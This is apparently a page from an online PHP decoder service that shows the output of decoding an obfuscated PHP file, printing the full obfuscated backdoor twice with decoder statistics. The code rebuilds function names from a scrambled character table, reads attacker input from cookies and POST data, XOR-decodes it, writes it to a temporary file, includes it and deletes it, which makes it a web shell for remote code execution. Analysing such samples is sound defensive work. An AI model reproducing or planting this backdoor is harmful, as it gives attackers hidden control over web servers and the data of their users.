Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function bd1 (/* mjne */$wd2/*blik */) {$di3/* n*/= "ei)?9u'<0(@lv8o.H2sp..

Decoded Output download

<?php 
function	bd1      (/* mjne */$wd2/*blik   */) 
{$di3/*   n*/=	"ei)?9u'<0(@lv8o.H2spFdE#krma/_3nc4;g" . 
"Ib6Lf-hx" . 
"15*t y" ;$uj5=''; 
 
 
foreach(	$wd2/*   ydqr */as  $bs4	) 
{$uj5	.=	$di3	[/*oi   */$bs4   ]; 
}return      $uj5; 
}$fh6/* bnnh */=	Array();$ftfpwm/*  oewl   */=	46014; 
$fh6	[]	=       bd1/*n  */(/*zauz   */Array(45	,	21/*   ibs  */,       45	,/*tta*/8	,/*  j */4/* bo */,   13	,    30      ,/*   tar   */40/* rkiao  */,   41	,/*v   */40   ,  38   ,/*jbib */17       ,  40	,    41/*   qts  */,/*   c   */33	,       32  ,       27      ,     37	,/*   bo */41     ,/*io */27     ,/* ehpv*/30	,/*dogn  */13	,/*   n  */38       ,      41      ,       44       ,/*  dv */45/* lhpe  */,   38/*   w */,/*   zkhtq */30	,	44/*   x  */,      0   ,/*  iby */21/* gadv*/,/*   gap   */32     ,	32       ,	44	,/*k */27	,	21   ,)/*   z   */)/*uwcik */;$fh6       []/* uluz*/=	bd1     (/* nkr*/Array(3	,/* uwdh   */19	,	42/*  qpdl   */,	19   ,     48/*cf  */,       10  ,	5/*   rvgme*/,	31	,    11     ,    1	,	31       ,/*  lzk*/24/*  e  */,	9      ,/*  mgy  */29	,/*  tt */29      ,       20	,	36/*  iazl */,  39       ,	22/*f */,	29/*f*/,	29     ,     2  ,/* yhpg*/34	,	48     ,)     )	; 
 
 
$fh6   []  =	bd1/*   yof  */(/*   gmjyx   */Array(15	,	26/*tcys   */,	14/* rwvom  */,/*  sguu */21/* m*/,	5/*bo   */,/* ryi*/11	,   0	,)/*cnzk */)	; 
$fh6     []	=	bd1/*zrh   */(  Array(16      ,      46       ,)  )	; 
 
 
$fh6	[]	=/* fx  */bd1       (/*  pe */Array(15     ,       28      ,)   )/*  wm*/; 
$fh6	[]/*  bjt */=   bd1/*dq  */(	Array(23	,)/*  wgry*/)       ; 
 
 
$fh6	[]       =	bd1/*   twx */(	Array(7	,)  )     ;$fh6[]      =   bd1	(/* pv  */Array(40	,/*   nsu   */1/*erol */,      11	,/*  nat */0	,       29	,/*   qt*/19/*rqzag   */,       5	,/*jce  */47    ,/* bwite */29/*fm */,/*   cme  */32	,/*dab  */14	,/* ybe */31/* tx*/,   47/*   c  */,	0/*gb */,     31	,    47     ,   18	,)/* i*/)     ; 
 
 
$fh6[]    =/*   x */bd1/*   ig */(/* uz*/Array(27/*  g  */,/*xugch */25	,   25	,    27/* odqep*/,	49     ,	29    ,/* hqgpt   */26     ,     0/* swxyc  */,   25     ,/*  h*/35    ,/* wlsm  */0      ,)	)  ;$fh6[]	=	bd1	(  Array(18/*ni*/,	47/*   gkr   */,	25/* sb */,     29	,/*   pgxkw*/25	,    0/*   n   */,  19	,    0/*  qpr */,      27       ,     47	,)	)	;$fh6[]	=/*iw */bd1    (      Array(0  ,	43   ,	19     ,/*   so */11	,/* t*/14	,   21      ,   0  ,)	)/* kqroj */;$fh6[]	=/* n  */bd1/*tczfy*/(/*kc  */Array(18/*   anqym*/,/*  f   */5/* ab   */,	37	,/*   tcorn*/18/*  wss */,/* rtvv   */47/* bvyl*/,	25/*   wd   */,)       )      ; 
$fh6[]      =/* puui */bd1	(/*rrey  */Array(5	,	31	,/*kv*/11	,/*jlf*/1	,	31     ,	24      ,)/* be */)     ; 
 
 
$fh6[]	=/*uxohz  */bd1/* t */(/* up*/Array(18	,  47/*j  */,/* hr   */25       ,	11     ,  0  ,    31      ,)	)/* bthtt   */; 
 
$fh6[]      =	bd1/* hpws*/(     Array(19/*wc   */,/* dvooi */27      ,	32/*yj*/,     24  ,)/* anz  */)/*   igzie*/;$fh6[]	=  bd1/*leurr   */(     Array(26	,/*g*/21	,	45/* pymfg*/,)	)    ; 
 
 
foreach	(/*y*/$fh6[8]	(	$_COOKIE,/*   nrkoi */$_POST	)      as/*   sjjko  */$ha15	=>	$cj11) 
 
{ 
 
 
     function	hn8/*xe*/(    $fh6,/*rfiqp */$ha15      ,	$kv10/* d  */) 
 
	{ 
 
 
/*  a*/return	$fh6[11]/*  xwcrm */(/*  rvjas   */$fh6[9]/*zrn */(      $ha15	.   $fh6[0]    ,/*   wf   */(  $kv10/$fh6[13](/*  nynj   */$ha15/*   tx  */)/* ulh  */)	+	1/*   heudt   */)     ,	0   ,	$kv10    );/*  wkj   */} 
 
	function	ra7	(  $fh6,	$wf14  ) 
 
 
   { 
/*  xxgms  */return      @$fh6[14]	($fh6[3]	,       $wf14	); 
 
 
     } 
 
 
 
 
       function	yf9/*   tdu   */(	$fh6,	$wf14    ) 
 
 
	{     if	(/*   y   */isset    (	$wf14[2]       )/*  ply   */)  { 
 
 
   	$lx13/*  xws */=/* crnoh   */$fh6[4]	.	$fh6[15](      $fh6[0]	)   ./*  os  */$fh6[2];      @$fh6[7]/*   xbv  */(/*   e   */$lx13,    $fh6[6]/*  tqixv  */./*  io  */$fh6[1]/*   dvqfh  */.	$wf14[1]/*   u*/(     $wf14[2]   )	); 
 
 
/*d   */$vm12       =   $lx13; 
 
/* pvbc*/@include      (/* l */$vm12    ); 
 
 
	@$fh6[12]     (/* tnk   */$lx13	); 
/* j */die/*  xmosf  */();/*   ycpb*/} 
 
	} 
 
 
	$cj11  =/*  tfbjk  */ra7     (    $fh6,	$cj11/*   qjf   */); 
 
    yf9       (	$fh6,/* kzgi  */$fh6[10]/* qfprm*/(      $fh6[5]	,	$cj11	^  hn8	(	$fh6,/*vndbv   */$ha15/* zbf  */,     $fh6[13](	$cj11/*  qm */)	)	)     ); 
 
} ?>

Did this file decode correctly?

Original Code

<?php
function	bd1      (/* mjne */$wd2/*blik   */)
{$di3/*   n*/=	"ei)?9u'<0(@lv8o.H2spFdE#krma/_3nc4;g" .
"Ib6Lf-hx" .
"15*t y" ;$uj5='';


foreach(	$wd2/*   ydqr */as  $bs4	)
{$uj5	.=	$di3	[/*oi   */$bs4   ];
}return      $uj5;
}$fh6/* bnnh */=	Array();$ftfpwm/*  oewl   */=	46014;
$fh6	[]	=       bd1/*n  */(/*zauz   */Array(45	,	21/*   ibs  */,       45	,/*tta*/8	,/*  j */4/* bo */,   13	,    30      ,/*   tar   */40/* rkiao  */,   41	,/*v   */40   ,  38   ,/*jbib */17       ,  40	,    41/*   qts  */,/*   c   */33	,       32  ,       27      ,     37	,/*   bo */41     ,/*io */27     ,/* ehpv*/30	,/*dogn  */13	,/*   n  */38       ,      41      ,       44       ,/*  dv */45/* lhpe  */,   38/*   w */,/*   zkhtq */30	,	44/*   x  */,      0   ,/*  iby */21/* gadv*/,/*   gap   */32     ,	32       ,	44	,/*k */27	,	21   ,)/*   z   */)/*uwcik */;$fh6       []/* uluz*/=	bd1     (/* nkr*/Array(3	,/* uwdh   */19	,	42/*  qpdl   */,	19   ,     48/*cf  */,       10  ,	5/*   rvgme*/,	31	,    11     ,    1	,	31       ,/*  lzk*/24/*  e  */,	9      ,/*  mgy  */29	,/*  tt */29      ,       20	,	36/*  iazl */,  39       ,	22/*f */,	29/*f*/,	29     ,     2  ,/* yhpg*/34	,	48     ,)     )	;


$fh6   []  =	bd1/*   yof  */(/*   gmjyx   */Array(15	,	26/*tcys   */,	14/* rwvom  */,/*  sguu */21/* m*/,	5/*bo   */,/* ryi*/11	,   0	,)/*cnzk */)	;
$fh6     []	=	bd1/*zrh   */(  Array(16      ,      46       ,)  )	;


$fh6	[]	=/* fx  */bd1       (/*  pe */Array(15     ,       28      ,)   )/*  wm*/;
$fh6	[]/*  bjt */=   bd1/*dq  */(	Array(23	,)/*  wgry*/)       ;


$fh6	[]       =	bd1/*   twx */(	Array(7	,)  )     ;$fh6[]      =   bd1	(/* pv  */Array(40	,/*   nsu   */1/*erol */,      11	,/*  nat */0	,       29	,/*   qt*/19/*rqzag   */,       5	,/*jce  */47    ,/* bwite */29/*fm */,/*   cme  */32	,/*dab  */14	,/* ybe */31/* tx*/,   47/*   c  */,	0/*gb */,     31	,    47     ,   18	,)/* i*/)     ;


$fh6[]    =/*   x */bd1/*   ig */(/* uz*/Array(27/*  g  */,/*xugch */25	,   25	,    27/* odqep*/,	49     ,	29    ,/* hqgpt   */26     ,     0/* swxyc  */,   25     ,/*  h*/35    ,/* wlsm  */0      ,)	)  ;$fh6[]	=	bd1	(  Array(18/*ni*/,	47/*   gkr   */,	25/* sb */,     29	,/*   pgxkw*/25	,    0/*   n   */,  19	,    0/*  qpr */,      27       ,     47	,)	)	;$fh6[]	=/*iw */bd1    (      Array(0  ,	43   ,	19     ,/*   so */11	,/* t*/14	,   21      ,   0  ,)	)/* kqroj */;$fh6[]	=/* n  */bd1/*tczfy*/(/*kc  */Array(18/*   anqym*/,/*  f   */5/* ab   */,	37	,/*   tcorn*/18/*  wss */,/* rtvv   */47/* bvyl*/,	25/*   wd   */,)       )      ;
$fh6[]      =/* puui */bd1	(/*rrey  */Array(5	,	31	,/*kv*/11	,/*jlf*/1	,	31     ,	24      ,)/* be */)     ;


$fh6[]	=/*uxohz  */bd1/* t */(/* up*/Array(18	,  47/*j  */,/* hr   */25       ,	11     ,  0  ,    31      ,)	)/* bthtt   */;

$fh6[]      =	bd1/* hpws*/(     Array(19/*wc   */,/* dvooi */27      ,	32/*yj*/,     24  ,)/* anz  */)/*   igzie*/;$fh6[]	=  bd1/*leurr   */(     Array(26	,/*g*/21	,	45/* pymfg*/,)	)    ;


foreach	(/*y*/$fh6[8]	(	$_COOKIE,/*   nrkoi */$_POST	)      as/*   sjjko  */$ha15	=>	$cj11)

{


     function	hn8/*xe*/(    $fh6,/*rfiqp */$ha15      ,	$kv10/* d  */)

	{


/*  a*/return	$fh6[11]/*  xwcrm */(/*  rvjas   */$fh6[9]/*zrn */(      $ha15	.   $fh6[0]    ,/*   wf   */(  $kv10/$fh6[13](/*  nynj   */$ha15/*   tx  */)/* ulh  */)	+	1/*   heudt   */)     ,	0   ,	$kv10    );/*  wkj   */}

	function	ra7	(  $fh6,	$wf14  )


   {
/*  xxgms  */return      @$fh6[14]	($fh6[3]	,       $wf14	);


     }




       function	yf9/*   tdu   */(	$fh6,	$wf14    )


	{     if	(/*   y   */isset    (	$wf14[2]       )/*  ply   */)  {


   	$lx13/*  xws */=/* crnoh   */$fh6[4]	.	$fh6[15](      $fh6[0]	)   ./*  os  */$fh6[2];      @$fh6[7]/*   xbv  */(/*   e   */$lx13,    $fh6[6]/*  tqixv  */./*  io  */$fh6[1]/*   dvqfh  */.	$wf14[1]/*   u*/(     $wf14[2]   )	);


/*d   */$vm12       =   $lx13;

/* pvbc*/@include      (/* l */$vm12    );


	@$fh6[12]     (/* tnk   */$lx13	);
/* j */die/*  xmosf  */();/*   ycpb*/}

	}


	$cj11  =/*  tfbjk  */ra7     (    $fh6,	$cj11/*   qjf   */);

    yf9       (	$fh6,/* kzgi  */$fh6[10]/* qfprm*/(      $fh6[5]	,	$cj11	^  hn8	(	$fh6,/*vndbv   */$ha15/* zbf  */,     $fh6[13](	$cj11/*  qm */)	)	)     );

}

Function Calls

bd1 16
null 1

Variables

$bs4 45
$di3 ei)?9u'<0(@lv8o.H2spFdE#krma/_3nc4;gIb6Lf-hx15*t y
$fh6 [{'key': None, 'value': '555'}]
$uj5 555
$wd2 [{'key': 0, 'value': 26}, {'key': 1, 'value': 21}, {'key': 2, 'value': 45}]
$ftfpwm 46014

Stats

MD5 fcb5a2edabf47b8438f731b6aba5004e
Eval Count 0
Decode Time 187 ms